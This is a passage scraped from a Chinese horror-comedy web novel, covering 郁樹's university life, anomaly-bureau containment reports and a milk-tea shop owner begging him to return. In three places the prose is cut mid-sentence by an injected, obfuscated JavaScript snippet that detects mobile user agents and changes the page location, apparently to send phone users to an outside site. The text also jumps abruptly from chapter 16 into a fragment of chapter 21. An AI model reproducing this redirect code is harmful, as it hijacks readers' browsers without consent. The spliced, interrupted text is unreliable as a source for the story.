郁樹顺势把它抱起,贴在脸上吸了吸,然后又细致地撸了一遍小黑猫的肚皮,依依不舍道:“好的,今天就到这吧,要保护好自己哦,我娇小的黑黑。” 说完,他亲了下小黑猫的头,挥手离开。 黑黑始终蹲在原地注视他的背影,直到确认那道身影拐过墙角,它才收回视线,舔舔自己的爪子。 黑黑身后,一个三层楼高的东西悄然接近,安静得猫耳朵都没有察觉。 渐渐地,那栋不明物体距离黑黑不过一米,两根触角一般的东西弹得老高,一耸一耸地,仿佛在眨眼睛。 0.9米,0.8米,0.7米……随着它逐渐靠近,小黑猫依然毫无防备地舔着爪子,机敏的耳朵从来都没有动过,对即将到来的危险一无所觉。 0.5米,0.4米,0.3米,硕大的不明物体亮出满口的獠牙,它们转动着,宛如飞速旋转的电锯,一口就能把人撕得粉碎,更别说这种可爱的小猫咪了。 0.2米,0.1米,0.…… 就在它即将把小黑猫吞进肚里的时候,一直毫无防备的黑黑突然一跳三米远,转身看着那栋三层楼高的怪物。 怪物被吓一跳,怔愣片刻后,继续呲着獠牙靠近。 黑黑蹲在原地,傲然地看着对面的庞然大物,然后张开嘴吐出无数条触手,密不透风地缠住那怪物迅速吞进嘴里。 悄无声息地,一栋硕大的不明物体消失了,只在地上留下一滩黏液,不断腐蚀着沥青路面。 娇小的黑黑打了个哈欠,轻轻一跃,藏进黑暗里…… 14. 第 14 章 又一次早八的高数课,看着新来的高数老师,郁樹这才终于有点陈教授已经不在了的真实感,歪头问尚青北:“陈教授真的是一郎杀的?” “……”尚青北迟疑片刻,小声道,“这还能有假?警情通报都发了。” 事情究竟怎么回事其实他也不是很清楚,但他能肯定都边一郎绝对不是杀人犯,更不可能像警情通报里说的那样冲动杀人,“冲动”这两个字压根就和都边一郎沾不上边,可如果警察拿他当垫背的,那这个人也绝对不是什么好东西。 尚青北一边庆幸自己没怎么搭理过那人,一边推测,这些事郁樹应该都知道吧? 他都能一巴掌扇得自己恢复理智,没理由不清楚这件事的来龙去脉。 那他为什么要问自己? 尚青北在心底思量,很快给出一个答案:郁樹在考验他,有时候,知无不言是一种美德,而在另一些时候,知而不言才是做人的最高境界。 郁樹明明不普通,却非要伪装成一个普通大学生,他一定有他的目的,而自己能做的就是替他守住这个秘密,所以他才会拿这件事来考验自己,看自己是不是那种知道点什么都会往外吐噜的性格。 放心吧樹爹,你的秘密我守护到底,我在异管局都没交待你的事,现在就更不可能说了。 尚青北在心里做个碰拳捶肩的动作,就好像他在和郁樹隔空约定一般。 对面,郁樹听了他的话有些困惑,他睫毛扑闪两下,浅紫色的瞳孔露出些许迷茫:“什么时候发布的?我怎么都没看见过?” 看吧,考验接踵而至,这两个问题看似简单,实则是要做实自己一概不知的人设,继续伪装大业,顺便再次考验自己。 尚青北从善如流地接受了考验:“你天天就知道看寻亲视频,自然刷不到社会新闻,我转给你。” 说着,他就拿起手机,想了想,又说:“前段时间的2·13连环杀人案也告破了,我一起发你。” 郁樹愣了一下,不懂舍友为什么突然提这个,但很快就想明白,这不就是暗戳戳告诉他现在社会安定了吗,怪不得这段时间尚青北没再阻止他晚上出去。 郁樹很给面子地竖起一个大拇指,悄声夸赞:“周到,你可真是个好小伙子。” 莫名地,尚青北觉得这句带着调侃意味的夸奖就像一剂肾上腺素,带给他无尽力量,觉醒等级仿佛都提高了。 但人可能因为一句话提高觉醒等级吗? 要想弄清这所有一切,必须得找到那本传说中的书。 尚青北拿出手机发了一条信息:【哥,真的找不到死灵之书吗?】 - 教室里,郁樹趴在桌上看那两条新闻: 【都边某郎,克鲁大学大一在读,因被陈某荣潜规则、学术霸凌等而对其怀恨在心,巨怒之下在课堂上行凶,当场将陈胜荣杀害,现已被警服逮捕,本案正在进一步审理中。】 【“2·13连环杀人案”嫌疑人王某在抓捕过程中袭警,重伤好几名警员,现已被警方当场击毙。】 好家伙! 郁樹看得双眼圆睁,这得多大的仇怨才能做到大庭广众之下行凶啊,虽然感觉哪里不对劲,但仔细一想似乎也情有可原,毕竟恨意趋势下,人什么事都做得出来。 一郎至少还自首了,那连环杀人犯可是真畜生,一枪毙命可太便宜他了,就应该让他活着,尝尝千刀万剐的滋味再死。 他感叹着,遗憾着,这时候另一条推送消息过来了…… - 同一时空里,阿卡姆异端管理局,实验室工作人员惊恐地发现,一直以来失去活性、铺满了整间实验室的霉菌忽然如落潮一般褪去,逐渐凝聚成一滩小小的霉斑,瑟缩在培养皿里,是的,瑟缩,那团霉斑在培养皿里肉眼可见地不停颤抖,就好像在害怕什么一样。 实验员急忙上报此事,局长德里克立即请柯璆与他一同查看。 两人赶到实验室,看着培养皿里持续颤抖的霉菌团,柯璆很快发现规律:这颤抖的频率似乎在传递某种消息。 短短瞬间,他在脑海里逐一验证着那团霉菌所使用的编译方式,不是四方,不是希尔,不是凯撒,不是……更不是莫斯 渐渐地,一个不太可能的想法浮现在柯璆脑海: 那东西用的不是人类能够理解的编码,发出的也不是人类能够识别的频率。 柯璆眉梢微挑,换了个思路,一下子就解开谜题,那团霉菌竟然在道歉: 对不起,我错了,求求您再给我一次机会! 有意思,原来自己不是一个人…… - 大数据时代,每个人的手机都是一个茧,郁樹刚看完那两条新文,大数据紧接着就把克鲁大学的公告推送过来—— 【……撤销陈胜荣在克鲁大学的一切职务、职称和头衔,彻查其学术“成就”,由学校牵头恢复受害学生的一作、二作署名权,……同时保留追究其一切刑事和民事责任的权利……】 啧啧,人都死了还不忘追责,这公告冷漠得就像他前几天晚上看见的那位警官,帅则帅已,但没有一点人气儿,好像个冰冷的机器。 不过公告冷漠是应当的,毕竟事实证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103034|179824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明陈胜荣确实如传言所说,是个道德和学识都败坏的畜生,就连教授的名额都是靠学术造假偷得的。 克鲁大学博士点本来就不多,再出个这样的丑闻,谁还敢来这里读博深造? 校领导们肯定得处理好,不然损失无法估量。 郁樹看着公告唏嘘,一郎还是天真,这样的畜生怎么能让它死得如此容易? 那不得今天切一截手指,明天割一块肚皮,然后放着那些伤口慢慢愈合,继续割其他地方,一年356天,天天都活在缺一块、补一块的痛苦中,这才是那畜生应得的下场。 等等,自己在想什么? 郁樹晃了下脑袋,一定是惊悚片看多了被传染了,人怎么可以血腥到如此地步?以后还是得少看片。 他挥掉脑海中不切实际的想法,跟尚青北打了个招呼就放下手机闭上双眼,高数课,补觉才是正经事。 他睡着后,尚青北收到了回复:【你说呢?丢失了好几十个世纪的东西你说找就能找到?那可是死灵之书!】 - 在郁樹补觉的时候,阿卡姆异管局内,“陈胜荣”惊悚地发现自己嘴里再度出现墨绿色团块,石榴籽一般不停从喉咙里往外冒,没多会儿就把它的嘴撑得老大,裂开好几个口子。 “呜呜呜……”它发出痛苦地呜咽声,空洞洞的眼窝里全是肮脏的泪水。 不是已经被清理完了吗? 怎么又长出来了? 天知道那几个异端扯它的时候有多疼! 它可真的不想再经历一遍了! “陈胜荣”忍着痛苦,拼尽全力想要遮住自己的嘴,嘴唇可以被撑烂,但绝对不能让那几个异端发现! 可现实并不以它的意志为转移,不多时,巡查实验员发现了异常,马上将它送进【诡乐手术室】。 一看见它,几位异端露出了职业微笑:“太好了!又可以聆听仙乐了!” “陈胜荣”全身都开始颤抖,那笑容太诡异!太阴森!太恐怖!出现在异端脸上恐惧效果直接扩大百倍!!! 手术还没开始,它就已经被吓得快要晕厥过去,可【麻醉师】怎么会轻易放过它? 一阵下去,全身的感觉细胞无比亢奋,尖叫着喊出自己的痛苦,神经中枢收集着所有信息,霎时间,“陈胜荣”体会到无与伦比的痛苦,比上一次还要强烈无数倍,而它连疼晕过去的机会都没有! 为什么? 这一切究竟是为什么? 如之前一样,它的痛苦无端在意,它的哭喊却让在场异端笑得灿烂无比,又诡谲离奇…… 15. 第 15 章 虽然两个异端以某些不知名的原因变得异常,但经过评估似乎不具有危害性,那团霉菌极其配合,可以继续用来研究,至于那位陈教授……嗯,【诡乐手术室】好久都没这么开心过了,就当员工福利吧。 只是究竟是什么让它们变成这样的? 异管局被其他势力入侵了? 还是有其他异端分子可以远程操控? 德里克一下子紧张起来,如果是前者,异管局危! 如果是后者,异管局更危! 事不宜迟,他马上安排特殊部门展开秘密调查,一要抓内鬼,二要升级异管局防御系统,避免精神类异端的渗透。 做完这些,德里克揉了下太阳穴,开始查看下属交上来的异端收容报告。 【异A1-055:最后的毛血旺】 【性状与能力】:这是一份国潮包装的毛血旺,通过精神控制激发受害人的无尽食欲,一旦吃下,就会被其从内部啃噬,在受害者死后还会故意散发恶臭,吸引他受害者前来查看,一旦进入,就会成为其下一个目标。(因该异端在收容过程中自裁,故以上内容均为调查员根据幸存者和相关知情者的口述做出的合理推测。) 【收容过程】:在克鲁大学315宿舍门口被收容,收容之际该异端的异常值已经清零,原因未知。返回异管局路上,该异端自裁,原因未知,推测为畏罪。 【收容方式】:目前该异端仅剩部分霉菌组织遗留在实验室,封装在特制培养皿里。 【危险程度】:★★★★(原异端) ★(现存霉菌) 德里克对这份报告一通删改,这才上传到异端档案库。 异端诞生之初,无数人类因此殒命,各国之间又对此持不同态度,纷争持续了好多年,直到一个经济大国被异端灭掉,国与国之间的纷争才终于停止,开始集中一切力量对付异端,异端调查管理机构也因此成立,同时还建立了异端档案数据库,为异端的收容和处理提供经验。 上传完这个,德里克继续查看下一份。 【异A3-250:疯狂陈教授】 【性状与能力】:克鲁大学数学教授,人类外表,但下颌张至地面无法收回,且内有墨绿色囊泡样团块,这些囊泡会随着说话喷溅到受害者头上,随即钻入大脑,扭曲受害者意识,对其产生崇拜或爱戴的情感。此前这些墨绿色囊泡已被清理干净,生长灶也被拔除,但因某些未知原因,其口中再次不断分泌墨绿色囊泡,目前正在被特聘收容专员处理。(疑似有失忆症状,原因未知。) 【收容过程】:调查员巡逻中发现污染值波动,及时锁定目标位置,于克鲁大学历史系高数课上成功将其收容。 【收容方式】:戴上特制口球阻止其说话即可。 【危险程度】:★ 德里克皱了下眉,连续两份异端调查报告都有克鲁大学,还总是出现“原因未知”的字眼,他们这行虽然奉行“非必要,不探究”的原则,但未知太多总是会勾起人类的好奇心,还是得改,为了全球调查员们的安全。 精心修改之后,德里克长舒一口气,点击上传。 不多时,这两份调查报告就出现在一副巨大的悬浮显示屏上,显示屏前的金发男人正在佩戴宝石袖扣,浅金色的瞳孔扫过报告上的内容,淡淡嗤出一声:“没用的东西。” 紧接着,他的目光定格在附件的一张图片上—— 那是一份相关人员档案,照片上的人有一双深紫色眼眸,神秘又瑰丽,虽然是静态的,可那双眼睛里的流光却异彩纷呈,仿若宇宙洪荒之外的星河。 修长的手指停驻在袖口,宝石袖扣坠落在大理石地砖上,发出”哒、哒“的声响,金发男人却仿若未闻,目光紧紧盯着那双深紫色的瞳孔,呼吸都凝固了。 片刻后,他挑眉轻笑,怎么可能,一定是自己想多了…… - 被押送回异管局的路上,道尔文不停挣扎,疯狂宣泄着自己的不满,直到被调查员注射特制镇静剂,这才安静下来。 但心里依然翻涌着巨浪。 《死灵之书》这四个字伴随着道尔文不知道多少年。 那是一本神秘的、充满力量的、令人向往又疯狂的典籍,只有被神明选招的人才配得知他的存在,书中的文字晦涩难懂,却拥有取之不尽用之不竭的力量,哪怕你只是读对了一个字都可能获得超越生死的力量,成为藐视众生的存在 没人知道它是由谁撰写的,更没人知道它因何而诞生于这个世间,追逐过它的人都成了一抔枯骨,可即使是这样,人们依然对它趋之若鹜。 道尔文除外。 它是《死灵之书》的边角料,是一团团废纸,一簇簇纸屑,《死灵之书》的诞生少不了它的襄助,可人类的信仰、人类趋之若鹜的视线却永远只倾注在《死灵之书》上,连一个眼神都不曾给它,它甚至差点被一把火烧得灰飞烟灭。 道尔文恨啊,都是纸做的,凭什么《死灵之书》就能得到人类的崇拜和信仰,他们甚至为了它不惜花费重金争头破血流,自己凭什么不可以?一群没品的人类! 它又开始恨那些对《死灵之书》趋之若鹜的人。 幽怨而浓烈的恨意逐渐生长,道尔文不知从何时起拥有了力量,它起先只是吞噬掉那些疯狂追逐《死灵之书》的人,后来它开始刻意引诱其他人说出死灵之书的名字,然后将其吞噬。 所有追逐《死灵之书》的人都该死! 可是今天是怎么了?自己怎么会失败? 作为一名规则类异端,道尔文需要受害者满足触发条件才能将其吞噬,可哪怕有这个前提存在,它也从来没有失败过,愚蠢的人类总是轻易被它引导着说出那四个字,被动触发也是触发。 可今天是什么情况? 为什么它始终说不全那四个字? 又或者说为什么它始终说不出第一个字? 哦不,它能说出第一个字来,只是必须得走出那间书店。 走出去的时候他说的可大声了,可痛快了。 可是再一进去,他依然说不全,第一个字就仿佛被人手动消音一般,明明张开的嘴做出了相应的口型,调动了舌头上的全部肌肉,可就是发不出那个声音。 这不对呀! 他们明明是生活在现实中的,虽然自己是个异端,可那也是现实中的存在,不可能像电影一样被人为哔掉声音吧? 是那家书店的问题吗? 也对,正经书店怎么会大半夜开门? 除了它这种要觅食的异端,谁会在大半夜去书店? 道尔文忽然感觉一阵不寒而栗,如果书店不一般,那么在这种书店工作的店员也绝非常人,而它却走进了这样的店里,碰见了这样的店员,它甚至还凶了那个店员几次! 道尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103035|179824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文抬起手,用五根长短不一的圆柱体摸了一下自己,还在,它还在,它还活着,谢天谢地。 眨眼间,它看向调查员的目光都变了,这哪是是异端的敌人,分明是祥瑞,是来保护它们的。 一进异管局,道尔文比任何异端都配合,主动交代一切,甚至还好心提醒:“那个书店的店员绝对不简单,你们一定要小心他!” 话音刚落,它就再也维持不住人形,口罩手套鸭舌帽突然消失,宽大的衣服也不见了踪影,大小不一的圆柱体失去支撑变得不规则,一团诡异恶心、令人无法描述的东西出现在众调查员眼前。 那东西仿佛是一团又一团纠缠在一起的纸屑,堆起来直到屋顶,如果只是这样倒也能接受,可偏偏那团纸屑上还裹缠着数不清的别的东西—— 大小不一的眼球、不停跳动的肉块、无数张开开合合的嘴、一截又一截疯狂摆动的手指……密密麻麻,层层叠叠地挂在纸屑之间的缝隙里,好像人体碎片版的高大圣诞树。 一位调查员捂住嘴,忍了又忍,终于控制不住地飞奔出去,扒着垃圾桶“哇”地一下吐了出来。 道尔文扭动着身躯,上面挂着的人体组织们像铃铛一样摇摆起来,空洞的眼球搭配微张的嘴,惊悚感直接拉满。 可道尔文好无所觉,它再一次发出善意的提醒:“真的,那名店员很恐怖的,你们一定要小心。” 这一下,调查员们再也忍不住了,前仆后继地飞去外面呕吐。 唯一坚持在收容室的调查员看着面前数不清的人体碎片,扶住自己不停发颤的膝盖,咽了口唾液:“谢……谢谢?” - 办公室里,全息投影沉思良久,问道:“你确定要继续呆在阿卡姆?那个异端不是已经被解决了吗?是德里克不放你走?” 投影对面,柯璆大马金刀地坐在沙发上,脸上看不出任何情绪:“是我要呆在这里。” “原因是什么?马上就要进行换届选举,异端势力明显憋不住开始蠢蠢欲动了,你知道我们离不开你,”全息投影双手交叉正色道,“给我一个正当理由。” 理由?柯璆冷眼扫过去:“你再说一遍。” “…………”冗长的沉默之后,全息投影低头道歉,“对不起,是我唐突了,祝您在阿卡姆过得愉快。” 柯璆淡淡应一声。 挂断视讯,他脑海中回顾着最近的发现—— 【异A1-055:最后的毛血旺】最后出现的地点是克鲁大学315宿舍,相关人员为郁樹、尚青北。 【异A3-250:疯狂陈教授】在克鲁大学某阶梯教室内被抓获,相关人员为历史系11班、12班全体学生,其中特殊人员为郁樹、尚青北。 【异A2-117:血腥之书】抓捕地点为克鲁大学旁一间书店,相关人员郁樹。 【尚青北】初级觉醒者,觉醒时间2552年9月30日,觉醒前曾与郁樹朝夕相伴一个月,此前没有一点觉醒迹象。 柯璆单手轻托下巴,他探查过郁樹的意识,完全就是个普通人,但普通人怎么会三番四次出现在异端事件里,还都毫发无损、精神稳定? 他拿起手机,拨通最近新存上的号码:“郁樹同学,有时间吗?想找你做个笔录。” “没关系,我可以去找你,时间地点你定。” “好,那就晚上7:00,霹雳奶茶店。” 16. 第 16 章 来到霹雳奶茶店,还没走进去,郁樹就看见柜台后面的前同事抛下还在点单的顾客,神色慌张地跑开,好像在躲避什么。 诡异的是,店里的其他员工也这样,有的奶茶摇到一半就逃也似地奔去后面。 正要往里迈步的郁樹脚步一顿:“?” 零星的几位顾客更是满脸问号:“???” 郁樹低头看看自己,半袖洁白,裤子浅蓝,休闲的人字拖也没踩到什么撞大运的东西,这些人怎么看见自己就跑?难不成现在穿拖鞋都不能进奶茶店了?又或者,自己已经被霹雳奶茶店拉黑了? 无论是哪条,他都只想骂一句神经病,一个奶茶店高贵什么?什么时代了还整这些糟粕的规矩!离职而已,怎么就不能来前单位消费了?! 他不再犹豫,推门进去,打算去找那些人理论,尤其是那个周柏霹,一个人怎么还能有两幅面孔?之前还主动给他补偿金,现在就“郁樹和狗不得入内”?! 那几位客人见店员无缘无语话都没说一句就跑了,纷纷骂骂咧咧地要离开:“什么玩意儿?有这么服务的吗?” “要不是看在他家今天做活动,一个星币一杯,谁会过来买?!难喝的要死!” “说来也怪,之前他家奶茶可好喝了,我一天八杯都喝不够。” “不是,一天八杯,你怎么还活着呢?” “我也不知道,还身体特健康,所以说专家的话最好是当个屁。” “我知道我知道,味道的变化是从一个店员离职开始的。” 他们说着,目光看向往里走的郁樹,其中一个人像是忽然想起什么,指着郁樹激动道:“诶?!帅哥!我怎么觉得你这么眼熟呢?你之前是不是在这打过工?在后边摇奶茶?” 郁樹:“?” 自己之前摇奶茶的时候可一直戴着口罩呢,这是怎么认出来的? 不等他说话,高马尾的女生忽然双掌一击:“就是他!这个身材这双眼,只要看过就很难忘啊!” “没错没错!就是从他离职后,这家店的奶茶才变得难喝的。” 看着他们叽叽喳喳地讨论,郁樹的注意力一下子就转移了,他有点羞涩地挠了下后脑勺:“就……也没有这么夸张吧。” 话是这么说,但他心里还是小小地开心了那么一下下,能被这样惦记真的很幸福呢,没想到用心摇出来奶茶真的能被人记住。 “一点都不夸张,真的,我从来都是实话实说。” “帅哥,能不能求你再给我们做几杯奶茶?我可以付双倍!” “双倍怎么行?我付十倍!” 眼前忽然出现好几双萌光闪闪的荷包蛋眼睛,郁樹一脸懵,这明明更夸张了好吗?谁会愿意花2000星币买一杯奶茶啊?尚青北都不会这么挥霍。再说他已经离职了,怎么可能再进入后厨,那不符合卫生标准啊! 就在他纠结着如何委婉拒绝的时候,周柏霹和店员一下子分别从办公室和更衣间涌出,一个个好像是被爆改了一样,发型个顶个精致,连眉毛都修剪过,穿的更是新潮,隔三米远都能闻到风格迥异的香味。 郁樹:“……” 这就是他们抛下顾客跑去后面的原因? 怪不得奶茶店生意日渐萧条,能不萧条吗? 但这是人家的自由,郁樹也不好多说什么,他看了眼时间,离七点没多长时间了,得尽快找个位置坐下,既然员工和老板同时现身,那他也能名正言顺地婉拒这些顾客的请求。 刚要开口说话,几位店员相互使了个眼色,齐刷刷朝郁樹鞠躬:“伟大的郁樹,谢谢你!” 郁樹急忙后退一步:“怎么了你们就行此大礼?” 一名店员满脸感激:“你忘了吗?是你让周柏霹给我们涨薪的啊。” “是啊是啊,还涨了不少呢!”另一人急忙附和。 又一个则善解人意地提郁樹解释:“一定是做的好事太多,所以才没印象了吧?果然是个无私善良的人呢!” 郁樹:“……” 脸有点烫。 有没有可能你们口中这个无私善良的人,只是不想让自己的快乐建立在你们的痛苦之上呢? 这不是一个正常人应该做的吗? 根本不值得被这么夸啊。 正想怎么解释,周柏霹又给他鞠了一个大躬:“谢谢您给了我一次重新做人的机会,让我获得重生。” 郁樹再次后撤一步:“?” 不是,怎么回事? 今天也不是感恩日啊,周柏霹这一part又是从何而来? 那次讨薪让他顿悟了?笑死,资本家也会有良心? 连续见证两场鞠躬致谢的几位顾客:不简单,此人果然不简单,怪不得摇的奶茶那么好喝! 就在他们绞尽脑汁如何让郁樹再给他们摇一杯奶茶的时候,周柏霹却陪着笑脸走上前:“不好意思啊几位,今天打烊了,你们明天再来吧。” 那几人注意力全在郁樹身上,根本没搭理他,又重复一次,他们才有回应: “切,搞得好像谁愿意来似的。” “就是,你们家奶茶现在已经是全行业最差,你高贵什么?” “小帅哥说真的,20倍,你不考虑考虑?” 郁樹没想到他们还惦记着,略带尴尬地看过去,说实话,他挺想考虑的,那可是2000星币,可非工作人员不能随意进入后厨,除非……他开一家自己的奶茶店。 哈哈哈,怎么可能? 他一个穷学生,手里的钱都得留着为以后做打算,上哪儿凑好几十万的启动资金去? 他礼貌而又尴尬地笑笑,跟着那几人往外走。 虽然不知道为什么突然打烊,但事已至此,只能另选地点了,希望那位看起来就很不好惹的警官不会介意。 结果没走几步,他就被人拉住衣摆:“别,你别走。” 郁樹回头:“你们不是闭店吗?” 周柏霹双手交扣在身前又鞠一躬:“就算是真闭店,我们也不可能把您拒之门外呀,再说我是真的有事求您。” “你这也客气了,我都离职了,能帮得上什么忙?”郁樹摆摆手继续往外走,马上就要到时间了,他得赶紧联系那位警官,别让人家走冤枉道。 可谁曾想,周柏霹扑通一声跪倒在地,小心翼翼又忐忑不安地拉扯住郁樹的衣角,用一种快要哭出来的声音说道:“求您了,这个忙只有您能帮,我愿意付出任何代价!” 那颤抖的语气和神态,仿佛郁樹能救他的命。 郁樹困惑不已,后撤一大步:“你先松手,好端端地你贵什么?赶紧起来。” 看着郁樹紧蹙的眉心,周柏霹颤抖得更厉害了,自己已经在接受神罚,可不能再引起神怒啊,他迅速站起,毕恭毕敬又小心翼翼地问:“能不能……请您回来工作?岗位是……店长……您看行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103036|179824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 几位店员一听,你看看我,我看看你,惊喜溢于言表,纷纷点头附和:“来吧来吧,郁樹,我们都想你了。” 郁樹:“……” 这又是唱的哪一出? 他抚了下额前的碎发,看一眼时间:“我已经找到兼职了。” 周柏霹马上伸出手:“我出十倍时薪!” 郁樹一个手滑,手机差点掉地上,他稳住身子:“这不是钱多钱少的问题。” 周柏霹心下了然,那就是钱不够多的问题了,他咬咬牙,狠下心,无论付出多少代价都得把郁樹请回来。 之前的他以为自己这间小小的奶茶店里供不了这尊大佛,可随着郁樹离开,营业额直接跌破谷底,连口碑都没了,网上铺天盖地的差评几乎要将他吞没,物理意义上的吞没—— 每收到一个差评,他就感觉自己的肺里进了一滴水,到现在他肺里存在感最多的已经不是空气了,而是水,每一次呼吸都能从鼻腔里喷出点水气。 家庭医生给他做了无数次身体检查,他也去医院找专家看过,可每次检查结果都正常得不像话,就连吸了20多年烟的烟肺都消失了。 周柏霹百思不得其解,他的感觉是不会骗人的,他肺里绝对有水,有无数滴水。 在经历过一次又一次失望后,他幡然醒悟,这是神罚,一定是神罚! 神罚不会迟到,也不会缺席,更不会单行! 这哪是他那尊小庙供不起郁樹这尊大佛,分明是他那间蓬荜离不开郁樹的神光普照! 从那之后周柏霹就在想办法请郁樹回来,他打了无数个电话,石沉大海;发了无数条消息,杳无回音。 就在他陷入绝望与痛苦之际,却听见店员说郁樹来了。 周柏霹喜出望外,喜极而泣,是不是他的虔诚感动了神明,所以祂要过来实地看看? 无论如何,它一定要抓住这次机会请郁樹回来,不惜一切代价。 “那我把这家店过户给您?”周柏霹咬了咬牙。 奶茶店可以没有,但命不能没有,只要活着一切皆有可能,他得活着,还得活得有质有量,他已经不是个男人了,总不能连人都不是变成一条鱼吧?那他还怎么侍奉神明? 周柏霹在那边下定决心,郁樹却仿佛听见了恐怖故事,睁大了双眼:“你没事吧?” 说完他又看向之前的同事们,指了指脑袋:“我记得他以前不这样?” “他洗心革面了。” “他重新做人了。” “他的灵魂得到了升华。” 郁樹:“……” 这玩意儿传染? 得赶紧走。 刚后退一步,周柏霹又说话了:“我都想好了,真的,奶茶店过户给您之后可以改个名字,就叫……‘神茶’,您看怎么样?” 郁樹:“……” 快跑,这家店全员疯了! 刚退到门口,转身拉门,正好有一人推门而入,两人直接碰上。 郁樹抬头,一张神明毕设脸顶着醒目的银发,神态却冰冷如霜:“不好意思,我迟到了,临时遇到点事。” “不不不,你没迟到,来得刚刚好,”郁樹拉住他的手腕就往外走,“我们换一家,这家店,嗯……” 他思索着合适的措辞,完全没有意识到身后,柯璆正盯着他的手,满眼复杂: 触碰到自己,他怎么会没事? 20-30 第21章 已修 没吃过猪肉,总见过猪跑,郁樹平时也没什么别的爱好,唯一的消遣就是吃饭的时候看一些下饭视频,对那些血腥惊悚恐怖桥段如数家珍,早就对四散开来的人体器官免疫了。 再说现在是法治社会,怎么可能有人明目张胆地售卖人体零件,动物零件倒是有可能,但是概率不大,刚才沃德加珍珠的时候他瞅了一眼,保鲜柜里的眼球状珍珠多得数不过来,要是小动物的眼球,那得是多少只?这种数量的虐待动物罪,已经可以被判凌迟了。 来应聘之前他可是查过的,达贡奶茶店资质齐全,绝对不是什么利欲熏心的黑店,更不可能挂着奶茶店的名头贩卖人体零件,顶多是贩卖的商品猎奇了一些,原材料上的科技与狠活多了一些。 所以那肯定只是制作成眼珠模样的珍珠,不过做得可太逼真了,简直和恐怖片里一模一样。 郁樹条件反射地咽了口唾沫,没办法,每次吃饭他都在看这些东西,都已经形成生理习惯了。 见他这副模样,沃德无神空洞的眼睛终于冒出点精光:“馋了?别急,我这就给你做一杯。” 郁樹赶忙摆手:“不用不用,我不喝奶茶的。” 他可对这种猎奇的饮品没兴趣,再说,连原材料都不愿意透露,谁知道里面加了多少科技与狠活,喝了指不定拉多少次肚子呢。 没找到弟弟之前,郁樹还想多活几年,当然,找到弟弟之后,他也得好好活着,兄弟俩好不容易团聚,他可不想英年早逝。 沃德瘪了瘪嘴:“太可惜了,你不知道,咱家奶茶超好喝的,保准你喝过一口就再也忘不了,日日夜夜都想喝。” 郁樹瞪大眼睛看着他:“你这个形容太夸张了吧,我都要怀疑那里面是不是加了什么别的原料。” “嘿嘿嘿……”沃德干校几声,转而将奶茶装进外卖袋里,递给郁樹,“既然不喝奶茶,那你就去送餐吧,地址在这个手机上,按照导航走,别走丢了。” 郁樹:“啊?我们还要负责配送吗?招聘启示里的工作内容可没说要负责送货。” “你这个年轻人,工作不就是这样吗?你以为你就只需要做招聘启示里的那些内容?别太天真了。”沃德催促道,“赶紧去吧,别让客人等急了。” 郁樹:“……” 他仔细打量一眼沃德,没觉得对方比自己大多少,怎么被社会毒打得这么厉害吗,听着竟然有许多工作经验似的。 他有心反驳,却又觉得人家说的对,思来想去,决定看在时薪一百的面子上跑一趟,接下外卖袋和手机,郁樹走出奶茶店。 时值凌晨,外面营业的店铺很少,整条街只有达贡奶茶店一家亮着灯,郁樹按了半天才终于唤醒沃德给他的手机,从外观上看那手机不知道是哪个年代的产物,特别厚重,边缘还是锐利的直角,拿在手里特别不方便,感觉用的时间久一点都要得腱鞘炎。 点亮之后就是地图界面,上面直接规划好了路线,郁樹按照箭头的方向走就行。 奶茶店倒是也贴心,提前准备好了配送车,郁樹将奶茶放好,手机连上汽车蓝牙,点击自动驾驶模式就出发了。 车子刚一启动,他忽然发觉有点不对劲,现在外卖配送都变成机器人了,沃德为什么还要让他去配送呢,难道达贡奶茶店没有购买配送机器人?不能够吧,一家连时薪一百的工资都出得起的地方,却没有购置配送机器人,这说什么都不合理吧? 不过既然已经出发了,那就把这一单配送完吧,就当是夜间城市游了。 说是夜间城市游,其实也就是坐在车里看窗外的风景,还是相当无聊的风景,街道两边连盏亮起的灯都没有,除了路灯还是路灯,行人更是零个,只有树影随着晚风摇曳,发出“唰唰唰”的声音,有种恐怖片里厉鬼即将出现的既视感。 倒也正常,毕竟已经快凌晨一点了,谁大晚上不睡这个时间出来散步,也就自己奔波在配送的路上。 郁樹打了个哈欠,连轴转确实有点累,以后白天还是得好好补觉,不然钱没挣着,身体先垮了,那还怎么找弟弟。 配送车时速很快,几分钟后,导航告诉他已到达目的地,郁樹拿上奶茶推门下车,他倒要看看是谁大半夜不睡觉,还点一杯猎奇奶茶。 